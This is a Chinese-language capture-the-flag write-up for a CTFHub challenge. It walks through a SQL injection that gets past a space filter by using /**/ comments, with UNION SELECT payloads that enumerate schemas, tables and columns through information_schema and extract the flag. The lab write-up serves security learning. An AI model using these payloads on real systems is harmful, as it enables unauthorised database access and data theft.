0x00 前言
CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。
0x01 题目描述
过滤空格:
(无)
0x02 解题过程
根据网页显示内容提示,这题关于过滤空格注入,此题和其他的注入手法一致,只不过需要在网页 URL 中对 payload 语句中的空格符号进行过滤,判断发现此题存在过滤空格注入,接着判断字段数量,查看数据库位置和版本。使用注入常用流程爆库、爆表、爆数据。最后获得此题 flag 。
Ⅰ根据题目描述输入1,并构造payload and 1 = 1,发现页面提示Hacker!!!
and 1 = 1
Ⅱ根据题目提示需要对空格进行过滤,也就是payload语句中的空格需要使用字符进行过滤
/**/and/**/1/**/=/**/1
Ⅲ继续构造payload语句,发现等于2时回显错误,说明此题存在过滤空格注入
/**/and/**/1/**/=/**/2
Ⅳ直接使用order by 判断字段数量,从/**/order/**/by/**/1开始
/**/order/**/by/**/1
Ⅴ判断字段2,使用/**/order/**/by/**/2
/**/order/**/by/**/2
Ⅵ判断字段3,使用order by 3,这里无回显,那么字段数量为2列
/**/order/**/by/**/3
Ⅶ知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据
/**/union/**/select/**/1,2
Ⅷ判断数据可能不存在数据库中,在id=1中加入负号查看数据,其他符号也可以
id=-1/**/union/**/select/**/1,2
Ⅸ修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22
/**/union/**/select/**/1,version()
Ⅹ修改2为database(),查看数据库名,发现数据库版本为sqli
/**/union/**/select/**/1,database()
ⅩⅠ查看全部数据库名
/**/union/**/select/**/1,group_concat(schema_name)from/**/information_schema.schemata
ⅩⅡ在全部数据库名中发现sqli,最后在sqli数据库中发现lrfbovgrtq和news两个表名
/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'
ⅩⅢ先查看lrfbovgrtq表中的全部字段名,发现一个数据名为ntzwkdyzie
/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='lrfbovgrtq'
ⅩⅣ查看数据ntzwkdyzie中的内容,发现此题flag
/**/union/**/select/**/1,group_concat(ntzwkdyzie)/**/from/**/sqli.lrfbovgrtq
0x03 总结
文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。